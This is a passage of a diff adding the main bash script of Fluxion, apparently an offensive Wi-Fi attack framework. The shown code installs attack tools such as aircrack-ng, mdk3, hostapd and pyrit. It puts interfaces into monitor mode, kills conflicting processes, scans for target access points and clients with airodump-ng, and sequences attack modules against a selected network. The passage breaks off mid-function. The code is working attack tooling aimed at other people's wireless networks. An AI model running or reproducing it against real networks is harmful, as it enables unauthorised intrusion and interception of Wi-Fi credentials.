$FLUXIONVersion$CClr" + local -r revisionInfo="(rev. $CSBlu$FLUXIONRevision$CClr)" + local -r credits="by$CCyn FluxionNetwork$CClr" + format_center_literals "$versionInfo $revisionInfo $credits" + echo -e "$FormatCenterLiterals" + + sleep 0.1 + local -r fluxionDomain="raw.githubusercontent.com" + local -r fluxionPath="FluxionNetwork/fluxion/master/fluxion.sh" + local -r updateDomain="github.com" + local -r updatePath="FluxionNetwork/fluxion/archive/master.zip" + if installer_utils_check_update "https://$fluxionDomain/$fluxionPath" \ + "FLUXIONVersion=" "FLUXIONRevision=" \ + $FLUXIONVersion $FLUXIONRevision; then + installer_utils_run_update "https://$updateDomain/$updatePath" \ + "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$FLUXIONPath" + fluxion_shutdown + fi + + echo # Do not remove. + + local requiredCLITools=( + "aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" + "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" + "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" + "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" + "fuser:psmisc" "killall:psmisc" + ) + + if [ $FLUXIONSkipDependencies != 1 ];then + while ! installer_utils_check_dependencies requiredCLITools[@]; do + if ! installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]; then + echo + echo -e "${CRed}Dependency installation failed!$CClr" + echo "Press enter to retry, ctrl+c to exit..." + read -r bullshit + fi + done + fi + + echo -e "\\n\\n" # This echo is for spacing +} + +fluxion_shutdown() { + if [ $FLUXIONDebug ]; then return 1; fi + + # Show the header if the subroutine has already been loaded. + if type -t fluxion_header &> /dev/null; then + fluxion_header + fi + + echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr" + + # Get running processes we might have to kill before exiting. + local processes + readarray processes < <(ps -A) + + # Currently, fluxion is only responsible for killing airodump-ng, since + # fluxion explicitly uses it to scan for candidate target access points. + # NOTICE: Processes started by subscripts, such as an attack script, + # MUST BE TERMINATED BY THAT SCRIPT in the subscript's abort handler. + local -r targets=("airodump-ng") + + local targetID # Program identifier/title + for targetID in "${targets[@]}"; do + # Get PIDs of all programs matching targetPID + local targetPID + targetPID=$( + echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}' + ) + if [ ! "$targetPID" ]; then continue; fi + echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`" + kill -s SIGKILL $targetPID &> $FLUXIONOutputDevice + done + + # Assure changes are reverted if installer was activated. + if [ "$PackageManagerCLT" ]; then + echo -e "$CWht[$CRed-$CWht] "$( + io_dynamic_output "$FLUXIONRestoringPackageManagerNotice" + )"$CClr" + # Notice: The package manager has already been restored at this point. + # InstallerUtils assures the manager is restored after running operations. + fi + + # If allocated interfaces exist, deallocate them now. + if [ ${#FluxionInterfaces[@]} -gt 0 ]; then + local interface + for interface in "${!FluxionInterfaces[@]}"; do + # Only deallocate fluxion or airmon-ng created interfaces. + if [[ "$interface" == "flux"* || "$interface" == *"mon"* || "$interface" == "prism"* ]]; then + fluxion_deallocate_interface $interface + fi + done + fi + + echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingCleaningIPTablesNotice$CClr" + if [ -f "$FLUXIONIPTablesBackup" ]; then + iptables-restore <"$FLUXIONIPTablesBackup" \ + &> $FLUXIONOutputDevice + else + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + fi + + echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr" + tput cnorm + + if [ ! $FLUXIONDebug ]; then + echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr" + sandbox_remove_workfile "$FLUXIONWorkspacePath/*" + fi + + if [ $FLUXIONWIKillProcesses ]; then + echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr" + + # TODO: Add support for other network managers (wpa_supplicant?). + if [ ! -x "$(command -v systemctl)" ]; then + if [ -x "$(command -v service)" ];then + service network-manager restart &> $FLUXIONOutputDevice & + service networkmanager restart &> $FLUXIONOutputDevice & + service networking restart &> $FLUXIONOutputDevice & + fi + else + systemctl restart network-manager.service &> $FLUXIONOutputDevice & + fi + fi + + echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr" + echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr" + + sleep 3 + + clear + + exit 0 +} + + +# ============================================================ # +# ================= < Handler Subroutines > ================== # +# ============================================================ # +# Delete log only in Normal Mode ! +fluxion_conditional_clear() { + # Clear iff we're not in debug mode + if [ ! $FLUXIONDebug ]; then clear; fi +} + +fluxion_conditional_bail() { + echo ${1:-"Something went wrong, whoops! (report this)"} + sleep 5 + if [ ! $FLUXIONDebug ]; then + fluxion_handle_exit + return 1 + fi + echo "Press any key to continue execution..." + read -r bullshit +} + +# ERROR Report only in Developer Mode +if [ $FLUXIONDebug ]; then + fluxion_error_report() { + echo "Exception caught @ line #$1" + } + + trap 'fluxion_error_report $LINENO' ERR +fi + +fluxion_handle_abort_attack() { + if [ $(type -t stop_attack) ]; then + stop_attack &> $FLUXIONOutputDevice + unprep_attack &> $FLUXIONOutputDevice + else + echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice + fi + + fluxion_target_tracker_stop +} + +# In case of abort signal, abort any attacks currently running. +trap fluxion_handle_abort_attack SIGABRT + +fluxion_handle_exit() { + fluxion_handle_abort_attack + fluxion_shutdown + exit 1 +} + +# In case of unexpected termination, run fluxion_shutdown. +trap fluxion_handle_exit SIGINT SIGHUP + + +fluxion_handle_target_change() { + echo "Target change signal received!" > $FLUXIONOutputDevice + + local targetInfo + readarray -t targetInfo < <(more "$FLUXIONWorkspacePath/target_info.txt") + + FluxionTargetMAC=${targetInfo[0]} + FluxionTargetSSID=${targetInfo[1]} + FluxionTargetChannel=${targetInfo[2]} + + FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID) + + if ! stop_attack; then + fluxion_conditional_bail "Target tracker failed to stop attack." + fi + + if ! unprep_attack; then + fluxion_conditional_bail "Target tracker failed to unprep attack." + fi + + if ! load_attack "$FLUXIONPath/attacks/$FluxionAttack/attack.conf"; then + fluxion_conditional_bail "Target tracker failed to load attack." + fi + + if ! prep_attack; then + fluxion_conditional_bail "Target tracker failed to prep attack." + fi + + if ! fluxion_run_attack; then + fluxion_conditional_bail "Target tracker failed to start attack." + fi +} + +# If target monitoring enabled, act on changes. +trap fluxion_handle_target_change SIGALRM + + +# ============================================================ # +# =============== < Resolution & Positioning > =============== # +# ============================================================ # +fluxion_set_resolution() { # Windows + Resolution + + # Get dimensions + # Verify this works on Kali before commiting. + # shopt -s checkwinsize; (:;:) + # SCREEN_SIZE_X="$LINES" + # SCREEN_SIZE_Y="$COLUMNS" + + SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(") + SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}')) + SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}')) + + # Calculate proportional windows + if hash bc ;then + PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc) + NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc) + NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc) + + NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc) + NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc) + + SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2))) + SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2))) + + # Upper windows + TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0" + TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0" + TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0" + + # Lower windows + BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0" + BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0" + BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0" + + # Y mid + LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y" + RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y" + + # Big + TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0" + TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0" + fi +} + + +# ============================================================ # +# ================= < Sequencing Framework > ================= # +# ============================================================ # +# The following lists some problems with the framework's design. +# The list below is a list of DESIGN FLAWS, not framework bugs. +# * Sequenced undo instructions' return value is being ignored. +# * A global is generated for every new namespace being used. +# * It uses eval too much, but it's bash, so that's not so bad. +# TODO: Try to fix this or come up with a better alternative. +declare -rA FLUXIONUndoable=( \ + ["set"]="unset" \ + ["prep"]="unprep" \ + ["run"]="halt" \ + ["start"]="stop" \ +) + +# Yes, I know, the identifiers are fucking ugly. If only we had +# some type of mangling with bash identifiers, that'd be great. +fluxion_do() { + if [ ${#@} -lt 2 ]; then return -1; fi + + local -r __fluxion_do__namespace=$1 + local -r __fluxion_do__identifier=$2 + + # Notice, the instruction will be adde to the Do Log + # regardless of whether it succeeded or failed to execute. + eval FXDLog_$__fluxion_do__namespace+=\("$__fluxion_do__identifier"\) + eval ${__fluxion_do__namespace}_$__fluxion_do__identifier "${@:3}" + return $? +} + +fluxion_undo() { + if [ ${#@} -ne 1 ]; then return -1; fi + + local -r __fluxion_undo__namespace=$1 + + # Removed read-only due to local constant shadowing bug. + # I've reported the bug, we can add it when fixed. + eval local __fluxion_undo__history=\("\${FXDLog_$__fluxion_undo__namespace[@]}"\) + + eval echo \$\{FXDLog_$__fluxion_undo__namespace[@]\} \ + > $FLUXIONOutputDevice + + local __fluxion_undo__i + for (( __fluxion_undo__i=${#__fluxion_undo__history[@]}; \ + __fluxion_undo__i > 0; __fluxion_undo__i-- )); do + local __fluxion_undo__instruction=${__fluxion_undo__history[__fluxion_undo__i-1]} + local __fluxion_undo__command=${__fluxion_undo__instruction%%_*} + local __fluxion_undo__identifier=${__fluxion_undo__instruction#*_} + + echo "Do ${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier" \ + > $FLUXIONOutputDevice + if eval ${__fluxion_undo__namespace}_${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier; then + echo "Undo-chain succeded." > $FLUXIONOutputDevice + eval FXDLog_$__fluxion_undo__namespace=\("${__fluxion_undo__history[@]::$__fluxion_undo__i}"\) + eval echo History\: \$\{FXDLog_$__fluxion_undo__namespace[@]\} \ + > $FLUXIONOutputDevice + return 0 + fi + done + + return -2 # The undo-chain failed. +} + +fluxion_done() { + if [ ${#@} -ne 1 ]; then return -1; fi + + local -r __fluxion_done__namespace=$1 + + eval "FluxionDone=\${FXDLog_$__fluxion_done__namespace[-1]}" + + if [ ! "$FluxionDone" ]; then return 1; fi +} + +fluxion_done_reset() { + if [ ${#@} -ne 1 ]; then return -1; fi + + local -r __fluxion_done_reset__namespace=$1 + + eval FXDLog_$__fluxion_done_reset__namespace=\(\) +} + +fluxion_do_sequence() { + if [ ${#@} -ne 2 ]; then return 1; fi + + # TODO: Implement an alternative, better method of doing + # what this subroutine does, maybe using for-loop iteFLUXIONWindowRation. + # The for-loop implementation must support the subroutines + # defined above, including updating the namespace tracker. + + local -r __fluxion_do_sequence__namespace=$1 + + # Removed read-only due to local constant shadowing bug. + # I've reported the bug, we can add it when fixed. + local __fluxion_do_sequence__sequence=("${!2}") + + if [ ${#__fluxion_do_sequence__sequence[@]} -eq 0 ]; then + return -2 + fi + + local -A __fluxion_do_sequence__index=() + + local i + for i in $(seq 0 $((${#__fluxion_do_sequence__sequence[@]} - 1))); do + __fluxion_do_sequence__index["${__fluxion_do_sequence__sequence[i]}"]=$i + done + + # Start sequence with the first instruction available. + local __fluxion_do_sequence__instructionIndex=0 + local __fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[0]} + while [ "$__fluxion_do_sequence__instruction" ]; do + if ! fluxion_do $__fluxion_do_sequence__namespace $__fluxion_do_sequence__instruction; then + if ! fluxion_undo $__fluxion_do_sequence__namespace; then + return -2 + fi + + # Synchronize the current instruction's index by checking last. + if ! fluxion_done $__fluxion_do_sequence__namespace; then + return -3; + fi + + __fluxion_do_sequence__instructionIndex=${__fluxion_do_sequence__index["$FluxionDone"]} + + if [ ! "$__fluxion_do_sequence__instructionIndex" ]; then + return -4 + fi + else + let __fluxion_do_sequence__instructionIndex++ + fi + + __fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[$__fluxion_do_sequence__instructionIndex]} + echo "Running next: $__fluxion_do_sequence__instruction" \ + > $FLUXIONOutputDevice + done +} + + +# ============================================================ # +# ================= < Load All Subroutines > ================= # +# ============================================================ # +fluxion_header() { + format_apply_autosize "[%*s]\n" + local verticalBorder=$FormatApplyAutosize + + format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n" + local headerTextFormat="$FormatApplyAutosize" + + fluxion_conditional_clear + + echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")" + printf "$CSRed$verticalBorder" "" + printf "$headerTextFormat" "" "" + printf "$CSBlu$verticalBorder" "" + echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr" + echo + echo +} + +# ======================= < Language > ======================= # +fluxion_unset_language() { + FluxionLanguage="" + + if [ "$FLUXIONPreferencesFile" ]; then + sed -i.backup "/FluxionLanguage=.\+/ d" "$FLUXIONPreferencesFile" + fi +} + +fluxion_set_language() { + if [ ! "$FluxionLanguage" ]; then + # Get all languages available. + local languageCodes + readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//') + + local languages + readarray -t languages < <( + head -n 3 language/*.sh | + grep -E "^# native: " | + sed -E 's/# \w+: //' + ) + + io_query_format_fields "$FLUXIONVLine Select your language" \ + "\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" \ + languageCodes[@] languages[@] + + FluxionLanguage=${IOQueryFormatFields[0]} + + echo # Do not remove. + fi + + # Check if all language files are present for the selected language. + find -type d -name language | while read language_dir; do + if [ ! -e "$language_dir/${FluxionLanguage}.sh" ]; then + echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:" + echo -e "\t$language_dir/${FluxionLanguage}.sh" + return 1 + fi + done + + if [ $? -eq 1 ]; then # If a file is missing, fall back to english. + echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5 + FluxionLanguage="en" + fi + + source "$FLUXIONPath/language/$FluxionLanguage.sh" + + if [ "$FLUXIONPreferencesFile" ]; then + if more $FLUXIONPreferencesFile | \ + grep -q "FluxionLanguage=.\+" &> /dev/null; then + sed -r "s/FluxionLanguage=.+/FluxionLanguage=$FluxionLanguage/g" \ + -i.backup "$FLUXIONPreferencesFile" + else + echo "FluxionLanguage=$FluxionLanguage" >> "$FLUXIONPreferencesFile" + fi + fi +} + +# ====================== < Interfaces > ====================== # +declare -A FluxionInterfaces=() # Global interfaces' registry. + +fluxion_deallocate_interface() { # Release interfaces + if [ ! "$1" ] || ! interface_is_real $1; then return 1; fi + + local -r oldIdentifier=$1 + local -r newIdentifier=${FluxionInterfaces[$oldIdentifier]} + + # Assure the interface is in the allocation table. + if [ ! "$newIdentifier" ]; then return 2; fi + + local interfaceIdentifier=$newIdentifier + echo -e "$CWht[$CSRed-$CWht] "$( + io_dynamic_output "$FLUXIONDeallocatingInterfaceNotice" + )"$CClr" + + if interface_is_wireless $oldIdentifier; then + # If interface was allocated by airmon-ng, deallocate with it. + if [[ "$oldIdentifier" == *"mon"* || "$oldIdentifier" == "prism"* ]]; then + if ! airmon-ng stop $oldIdentifier &> $FLUXIONOutputDevice; then + return 4 + fi + else + # Attempt deactivating monitor mode on the interface. + if ! interface_set_mode $oldIdentifier managed; then + return 3 + fi + + # Attempt to restore the original interface identifier. + if ! interface_reidentify "$oldIdentifier" "$newIdentifier"; then + return 5 + fi + fi + fi + + # Once successfully renamed, remove from allocation table. + unset FluxionInterfaces[$oldIdentifier] + unset FluxionInterfaces[$newIdentifier] +} + +# Parameters: +# ------------------------------------------------------------ # +# Return 1: No interface identifier was passed. +# Return 2: Interface identifier given points to no interface. +# Return 3: Unable to determine interface's driver. +# Return 4: Fluxion failed to reidentify interface. +# Return 5: Interface allocation failed (identifier missing). +fluxion_allocate_interface() { # Reserve interfaces + if [ ! "$1" ]; then return 1; fi + + local -r identifier=$1 + + # If the interface is already in allocation table, we're done. + if [ "${FluxionInterfaces[$identifier]+x}" ]; then + return 0 + fi + + if ! interface_is_real $identifier; then return 2; fi + + + local interfaceIdentifier=$identifier + echo -e "$CWht[$CSGrn+$CWht] "$( + io_dynamic_output "$FLUXIONAllocatingInterfaceNotice" + )"$CClr" + + + if interface_is_wireless $identifier; then + # Unblock wireless interfaces to make them available. + echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice" + rfkill unblock all &> $FLUXIONOutputDevice + + if [ "$FLUXIONWIReloadDriver" ]; then + # Get selected interface's driver details/info-descriptor. + echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice" + + if ! interface_driver "$identifier"; then + echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError" + sleep 3 + return 3 + fi + + # Notice: This local is function-scoped, not block-scoped. + local -r driver="$InterfaceDriver" + + # Unload the driver module from the kernel. + rmmod -f $driver &> $FLUXIONOutputDevice + + # Wait while interface becomes unavailable. + echo -e "$FLUXIONVLine "$( + io_dynamic_output $FLUXIONUnloadingWIDriverNotice + ) + while interface_physical "$identifier"; do + sleep 1 + done + fi + + if [ "$FLUXIONWIKillProcesses" ]; then + # Get list of potentially troublesome programs. + echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice" + + # Kill potentially troublesome programs. + echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice" + + # TODO: Make the loop below airmon-ng independent. + # Maybe replace it with a list of network-managers? + # WARNING: Version differences could break code below. + for program in "$(airmon-ng check | awk 'NR>6{print $2}')"; do + killall "$program" &> $FLUXIONOutputDevice + done + fi + + if [ "$FLUXIONWIReloadDriver" ]; then + # Reload the driver module into the kernel. + modprobe "$driver" &> $FLUXIONOutputDevice + + # Wait while interface becomes available. + echo -e "$FLUXIONVLine "$( + io_dynamic_output $FLUXIONLoadingWIDriverNotice + ) + while ! interface_physical "$identifier"; do + sleep 1 + done + fi + + # Set wireless flag to prevent having to re-query. + local -r allocatingWirelessInterface=1 + fi + + # If we're using the interface library, reidentify now. + # If usuing airmon-ng, let airmon-ng rename the interface. + if [ ! $FLUXIONAirmonNG ]; then + echo -e "$FLUXIONVLine $FLUXIONReidentifyingInterface" + + # Prevent interface-snatching by renaming the interface. + if [ $allocatingWirelessInterface ]; then + # Get next wireless interface to add to FluxionInterfaces global. + fluxion_next_assignable_interface fluxwl + else + # Get next ethernet interface to add to FluxionInterfaces global. + fluxion_next_assignable_interface fluxet + fi + + interface_reidentify $identifier $FluxionNextAssignableInterface + + if [ $? -ne 0 ]; then # If reidentifying failed, abort immediately. + return 4 + fi + fi + + if [ $allocatingWirelessInterface ]; then + # Activate wireless interface monitor mode and save identifier. + echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice" + + # TODO: Consider the airmon-ng flag is set, monitor mode is + # already enabled on the interface being allocated, and the + # interface identifier is something non-airmon-ng standard. + # The interface could already be in use by something else. + # Snatching or crashing interface issues could occur. + + # NOTICE: Conditionals below populate newIdentifier on success. + if [ $FLUXIONAirmonNG ]; then + local -r newIdentifier=$( + airmon-ng start $identifier | + grep "monitor .* enabled" | + grep -oP "wl[a-zA-Z0-9]+mon|mon[0-9]+|prism[0-9]+" + ) + else + # Attempt activating monitor mode on the interface. + if interface_set_mode $FluxionNextAssignableInterface monitor; then + # Register the new identifier upon consecutive successes. + local -r newIdentifier=$FluxionNextAssignableInterface + else + # If monitor-mode switch fails, undo rename and abort. + interface_reidentify $FluxionNextAssignableInterface $identifier + fi + fi + fi + + # On failure to allocate the interface, we've got to abort. + # Notice: If the interface was already in monitor mode and + # airmon-ng is activated, WE didn't allocate the interface. + if [ ! "$newIdentifier" -o "$newIdentifier" = "$oldIdentifier" ]; then + echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocationFailedError" + sleep 3 + return 5 + fi + + # Register identifiers to allocation hash table. + FluxionInterfaces[$newIdentifier]=$identifier + FluxionInterfaces[$identifier]=$newIdentifier + + echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocatedNotice" + sleep 3 + + # Notice: Interfaces are accessed with their original identifier + # as the key for the global FluxionInterfaces hash/map/dictionary. +} + +# Parameters: +# Description: Prints next available assignable interface name. +# ------------------------------------------------------------ # +fluxion_next_assignable_interface() { + # Find next available interface by checking global. + local -r prefix=$1 + local index=0 + while [ "${FluxionInterfaces[$prefix$index]}" ]; do + let index++ + done + FluxionNextAssignableInterface="$prefix$index" +} + +# Parameters: [] +# Note: The interfaces lambda must print an interface per line. +# ------------------------------------------------------------ # +# Return -1: Go back +# Return 1: Missing interfaces lambda identifier (not passed). +fluxion_get_interface() { + if ! type -t "$1" &> /dev/null; then return 1; fi + + if [ "$2" ]; then + local -r interfaceQuery="$2" + else + local -r interfaceQuery=$FLUXIONInterfaceQuery + fi + + while true; do + local candidateInterfaces + readarray -t candidateInterfaces < <($1) + local interfacesAvailable=() + local interfacesAvailableInfo=() + local interfacesAvailableColor=() + local interfacesAvailableState=() + + # Gather information from all available interfaces. + local candidateInterface + for candidateInterface in "${candidateInterfaces[@]}"; do + if [ ! "$candidateInterface" ]; then + local skipOption=1 + continue + fi + + interface_chipset "$candidateInterface" + interfacesAvailableInfo+=("$InterfaceChipset") + + # If it has already been allocated, we can use it at will. + local candidateInterfaceAlt=${FluxionInterfaces["$candidateInterface"]} + if [ "$candidateInterfaceAlt" ]; then + interfacesAvailable+=("$candidateInterfaceAlt") + + interfacesAvailableColor+=("$CGrn") + interfacesAvailableState+=("[*]") + else + interfacesAvailable+=("$candidateInterface") + + interface_state "$candidateInterface" + + if [ "$InterfaceState" = "up" ]; then + interfacesAvailableColor+=("$CPrp") + interfacesAvailableState+=("[-]") + else + interfacesAvailableColor+=("$CClr") + interfacesAvailableState+=("[+]") + fi + fi + done + + # If only one interface exists and it's not unavailable, choose it. + if [ "${#interfacesAvailable[@]}" -eq 1 -a \ + "${interfacesAvailableState[0]}" != "[-]" -a \ + "$skipOption" == "" ]; then + FluxionInterfaceSelected="${interfacesAvailable[0]}" + FluxionInterfaceSelectedState="${interfacesAvailableState[0]}" + FluxionInterfaceSelectedInfo="${interfacesAvailableInfo[0]}" + break + else + if [ $skipOption ]; then + interfacesAvailable+=("$FLUXIONGeneralSkipOption") + interfacesAvailableColor+=("$CClr") + fi + + interfacesAvailable+=( + "$FLUXIONGeneralRepeatOption" + "$FLUXIONGeneralBackOption" + ) + + interfacesAvailableColor+=( + "$CClr" + "$CClr" + ) + + format_apply_autosize \ + "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n" + + io_query_format_fields \ + "$FLUXIONVLine $interfaceQuery" "$FormatApplyAutosize" \ + interfacesAvailableColor[@] interfacesAvailable[@] \ + interfacesAvailableState[@] interfacesAvailableInfo[@] + + echo + + case "${IOQueryFormatFields[1]}" in + "$FLUXIONGeneralSkipOption") + FluxionInterfaceSelected="" + FluxionInterfaceSelectedState="" + FluxionInterfaceSelectedInfo="" + return 0;; + "$FLUXIONGeneralRepeatOption") continue;; + "$FLUXIONGeneralBackOption") return -1;; + *) + FluxionInterfaceSelected="${IOQueryFormatFields[1]}" + FluxionInterfaceSelectedState="${IOQueryFormatFields[2]}" + FluxionInterfaceSelectedInfo="${IOQueryFormatFields[3]}" + break;; + esac + fi + done +} + + +# ============== < Fluxion Target Subroutines > ============== # +# Parameters: interface [ channel(s) [ band(s) ] ] +# ------------------------------------------------------------ # +# Return 1: Missing monitor interface. +# Return 2: Xterm failed to start airmon-ng. +# Return 3: Invalid capture file was generated. +# Return 4: No candidates were detected. +fluxion_target_get_candidates() { + # Assure a valid wireless interface for scanning was given. + if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi + + echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice" + echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip" + + # Assure all previous scan results have been cleared. + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" + + #if [ "$FLUXIONAuto" ]; then + # sleep 30 && killall xterm & + #fi + + # Begin scanner and output all results to "dump-01.csv." + if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG \ + -bg "#000000" -fg "#FFFFFF" -e \ + "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2> $FLUXIONOutputDevice; then + echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError" + sleep 5 + return 2 + fi + + # Sanity check the capture files generated by the scanner. + # If the file doesn't exist, or if it's empty, abort immediately. + if [ ! -f "$FLUXIONWorkspacePath/dump-01.csv" -o \ + ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" + return 3 + fi + + # Syntheize scan opeFLUXIONWindowRation results from output file "dump-01.csv." + echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice" + # WARNING: The code below may break with different version of airmon-ng. + # The times matching operator "{n}" isn't supported by mawk (alias awk). + # readarray FLUXIONTargetCandidates < <( + # gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' + # $FLUXIONWorkspacePath/dump-01.csv + # ) + # readarray FLUXIONTargetCandidatesClients < <( + # gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' + # $FLUXIONWorkspacePath/dump-01.csv + # ) + local -r matchMAC="([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]" + readarray FluxionTargetCandidates < <( + awk -F, "NF==15 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \ + "$FLUXIONWorkspacePath/dump-01.csv" + ) + readarray FluxionTargetCandidatesClients < <( + awk -F, "NF==7 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \ + "$FLUXIONWorkspacePath/dump-01.csv" + ) + + # Cleanup the workspace to prevent potential bugs/conflicts. + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" + + if [ ${#FluxionTargetCandidates[@]} -eq 0 ]; then + echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice" + sleep 3 + return 4 + fi +} + + +fluxion_get_target() { + # Assure a valid wireless interface for scanning was given. + if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi + + local -r interface=$1 + + local choices=( \ + "$FLUXIONScannerChannelOptionAll (2.4GHz)" \ + "$FLUXIONScannerChannelOptionAll (5GHz)" \ + "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" \ + "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption" + ) + + io_query_choice "$FLUXIONScannerChannelQuery" choices[@] + + echo + + case "$IOQueryChoice" in + "$FLUXIONScannerChannelOptionAll (2.4GHz)") + fluxion_target_get_candidates $interface "" "bg";; + + "$FLUXIONScannerChannelOptionAll (5GHz)") + fluxion_target_get_candidates $interface "" "a";; + + "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") + fluxion_target_get_candidates $interface "" "abg";; + + "$FLUXIONScannerChannelOptionSpecific") + fluxion_header + + echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery" + echo + echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr " + echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr " + echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr " + echo + echo -ne "$FLUXIONPrompt" + + local channels + read channels + + echo + + fluxion_target_get_candidates $interface $channels;; + + "$FLUXIONGeneralBackOption") + return -1;; + esac + + # Abort if errors occured while searching for candidates. + if [ $? -ne 0 ]; then return 